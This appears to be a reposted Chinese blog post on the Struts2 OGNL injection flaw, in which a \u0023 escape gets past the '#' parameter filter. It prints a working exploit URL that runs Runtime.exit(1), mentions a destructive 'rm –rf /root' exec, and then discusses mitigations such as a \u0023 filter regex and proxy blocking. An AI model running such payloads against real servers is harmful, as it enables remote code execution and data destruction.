struts2漏洞监测_struts2 漏洞 测试方案 与 解决方案

struts2漏洞监测_struts2 漏洞 测试方案 与 解决方案Struts2的核心是使用的webwork框架,处理action时通过调用底层的getter/setter方法来处理http的参数,它将每个http参数声明为一个ONGL(这里是ONGL的介绍)语句。当我们提交一个http参数:Java代码?user.address.city=Bishkek&user[‘favoriteDrink’]=kumys?user.address.city=Bi…

大家好,又见面了,我是你们的朋友全栈君。

Struts2的核心是使用的webwork框架,处理 action时通过调用底层的getter/setter方法来处理http的参数,它将每个http参数声明为一个ONGL(这里是ONGL的介绍)语句。当我们提交一个http参数:

Java代码

?user.address.city=Bishkek&user[‘favoriteDrink’]=kumys?user.address.city=Bishkek&user[‘favoriteDrink’]=kumys

ONGL将它转换为:

Java代码

action.getUser().getAddress().setCity(“Bishkek”)

action.getUser().setFavoriteDrink(“kumys”)action.getUser().getAddress().setCity(“Bishkek”)

action.getUser().setFavoriteDrink(“kumys”)

这是通过ParametersInterceptor(参数过滤器)来执行的,使用用户提供的HTTP参数调用 ValueStack.setValue()。

为了防范篡改服务器端对象,XWork的ParametersInterceptor不允许参数名中出现“#”字符,但如果使用了Java的 unicode字符串表示\u0023,攻击者就可以绕过保护,修改保护Java方式执行的值:

此处代码有破坏性,请在测试环境执行,严禁用此种方法进行恶意攻击

Java代码

?(‘\u0023_memberAccess[\’allowStaticMethodAccess\’]’)(meh)=true&(aaa)((‘\u0023context[\’xwork.MethodAccessor.denyMethodExecution\’]\u003d\u0023foo’)(\u0023foo\u003dnew%20java.lang.Boolean(“false”)))&(asdf)((‘\u0023rt.exit(1)’)(\u0023rt\u003d@java.lang.Runtime@getRuntime()))=1?(‘\u0023_memberAccess[\’allowStaticMethodAccess\’]’)(meh)=true&(aaa)((‘\u0023context[\’xwork.MethodAccessor.denyMethodExecution\’]\u003d\u0023foo’)(\u0023foo\u003dnew%20java.lang.Boolean(“false”)))&(asdf)((‘\u0023rt.exit(1)’)(\u0023rt\u003d@java.lang.Runtime@getRuntime()))=1

转义后是这样:

Java代码

?(‘#_memberAccess[‘allowStaticMethodAccess’]’)(meh)=true&(aaa)((‘#context[‘xwork.MethodAccessor.denyMethodExecution’]=#foo’)(#foo=new%20java.lang.Boolean(“false”)))&(asdf)((‘#rt.exit(1)’)(#rt=@java.lang.Runtime@getRuntime()))=1?(‘#_memberAccess[‘allowStaticMethodAccess’]’)(meh)=true&(aaa)((‘#context[‘xwork.MethodAccessor.denyMethodExecution’]=#foo’)(#foo=new%20java.lang.Boolean(“false”)))&(asdf)((‘#rt.exit(1)’)(#rt=@java.lang.Runtime@getRuntime()))=1

OGNL处理时最终的结果就是

Java代码

java.lang.Runtime.getRuntime().exit(1);java.lang.Runtime.getRuntime().exit(1);

类似的可以执行

Java代码

java.lang.Runtime.getRuntime().exec(“rm –rf /root”)java.lang.Runtime.getRuntime().exec(“rm –rf /root”),只要有权限就可以删除任何一个目录。

目前尝试了3个解决方案:

1.升级到struts2.2版本。

这个可以避免这个问题,但是struts开发团队没有release这个版本(包括最新的2.2.1版本都没有release),经我测试发现新版本虽然解决了上述的漏洞,但是新的问题是strus标签出问题了。

Java代码

这样的标签在struts2.0中是可以使用的,但是新版中就不解析了,原因就是“#”的问题导致的,补了漏洞,正常的使用也用不了了。

所以sebug网站上的建议升级到2.2版本是不可行的。

2.struts参数过滤。

Java代码

.*\\u0023.*

.*\\u0023.*

这个可以解决漏洞问题,缺点是工作量大,每个项目都得改struts配置文件。如果项目里,是引用的一个类似global.xml的配置文件,工作量相应减少一些。

3.在前端请求进行过滤。

比如在ngnix,apache进行拦截,参数中带有\u0023的一律视为攻击,跳转到404页面或者别的什么页面。这样做的一个前提就是没人把#号转码后作为参数传递。

请求如果是get方式,可以进行过滤,如果是post方式就过滤不到了,所以还是应该修改配置文件或更新新的jar包。

目前来看后两种是比较有效的方法,采用第三种方法比较简便。是否有另外的解决办法,欢迎大家讨论。

我并没有在windows环境下测试,有同学在windows下没有试验成功,这并不能说明windows下就没有风险可能是我们的参数或者什么地方有问题而已。既然漏洞的确存在,咱们就要重视对吧。欢迎大家测试,是否windows下漏洞不能执行成功。

版权声明:本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请联系我们举报,一经查实,本站将立刻删除。

发布者:全栈程序员-站长,转载请注明出处:https://javaforall.net/161730.html原文链接:https://javaforall.net

(0)
上一篇 2022年7月19日 上午10:16
下一篇 2022年7月19日 上午10:16


相关推荐

  • MATLAB–相机标定教程

    MATLAB–相机标定教程对相机标定原理不熟悉的同学可以参考张正友标记法的译文MATLAB:2014a待标记图像:http://download.csdn.net/detail/heroacool/9477530应用程序下找到CameraCalibration工具箱加载待标定的图像填写棋盘格每个格子边长的真实值可以预览成功检测出棋盘格的图像,然后开始标定,点击Calibrate平均误差小于0.5即可导出相机

    2022年5月8日
    32
  • Response.AddHeader「建议收藏」

    Response.AddHeader「建议收藏」Response.AddHeader

    2022年7月1日
    28
  • 1.什么是关系型数据库和非关系型数据库

    1.什么是关系型数据库和非关系型数据库一 什么是关系型数据库 1 关系数据库 是建立在关系模型基础上的数据库 借助于集合代数等数学概念和方法来处理数据库中的数据 简单说来就是关系型数据库用了选择 投影 连接 并 交 差 除 增删查改等数学方法来实现对数据的存储和查询 可以用 SQL 语句方便的在一个表及其多个表之间做非常复杂的数据查询 安全性高 2 非关系型数据库 简称 NOSQL 是基于键值对的对应关系 并且不需要经过 SQL 层的解析 所

    2026年3月17日
    1
  • 什么是微前端架构?它有什么优缺点以及构建思路

    什么是微前端架构?它有什么优缺点以及构建思路微前端是一种类似于微服务的架构 它将微服务的理念应用于浏览器端 即将单页面前端应用由单一的单体应用转变为把多个小型前端应用聚合为一的应用 各个前端应用还可以独立开发 独立部署

    2026年1月30日
    3
  • win10 设定计划任务时提示所指定的账户名称无效,如何解决?「建议收藏」

    win10 设定计划任务时提示所指定的账户名称无效,如何解决?「建议收藏」我想把我的python爬虫脚本设定为自动定时执行,我的设备是win10操作系统,这将用到系统自带的计划任务功能。且我希望不管用户是否登录都要运行该定时任务,但在设置计划任务的属性时,遇到一个报错:所指定的账户名称无效。该报错是如何发生的,以及如何解决?记录如下:报错是如何发生的?如下图所示,设置计划任务的属性:如果仅勾选“只在用户登录时运行”,点击“确定”后直接创建成功。…

    2022年6月10日
    133
  • Windows下openssl安装及使用「建议收藏」

    配置过程中需要生成一些mak文件,这些生成代码用perl脚本生成,所以要安装一个ActivePerl.网址:http://www.activestate.com/activeperl/下载后直接安装就行了!下载openssl网址http://www.openssl.org/我用的是openssl-0.9.8g版本,解压到c盘根目录。安装步骤:(可以参照o…

    2022年4月11日
    290

发表回复

您的邮箱地址不会被公开。 必填项已用 * 标注

关注全栈程序员社区公众号